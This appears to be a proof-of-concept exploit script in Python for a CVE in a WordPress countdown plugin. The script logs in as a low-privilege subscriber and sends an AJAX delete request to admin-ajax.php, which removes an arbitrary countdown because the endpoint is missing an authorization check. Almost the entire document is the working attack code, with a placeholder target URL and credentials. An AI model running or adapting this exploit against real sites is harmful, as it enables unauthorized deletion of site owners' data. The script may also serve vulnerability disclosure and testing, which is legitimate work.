CVE-2025-12665

#!/usr/bin/env python3 """ CVE-2025-12665 PoC - Ninja Countdown Plugin Unauthorized Data Deletion Description: Missing authorization check in ninja_countdown_admin_ajax AJAX endpoint allows authenticated users with subscriber-level access to delete arbitrary countdowns. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" TARGET_COUNTDOWN_ID = 1 # ID of countdown to delete def exploit(): """Exploit the missing authorization vulnerability""" session = requests.Session() # Step 1: Authenticate with WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } print(f"[*] Logging in as {USERNAME}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if "wordpress_logged_in" not in str(session.cookies) and "wordpress_logged_in" not in str(resp.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Send malicious AJAX request to delete countdown ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "ninja_countdown_admin_ajax", "operation": "delete", # Delete operation "countdown_id": TARGET_COUNTDOWN_ID # Arbitrary countdown ID } print(f"[*] Sending exploit request to delete countdown ID {TARGET_COUNTDOWN_ID}...") resp = session.post(ajax_url, data=exploit_data) # Step 3: Verify deletion if resp.status_code == 200: try: result = resp.json() if result.get("success"): print(f"[+] Countdown deleted successfully!") print(f"[+] Response: {result}") return True except: pass print("[-] Exploitation may have failed or target is not vulnerable") return False if __name__ == "__main__": exploit()

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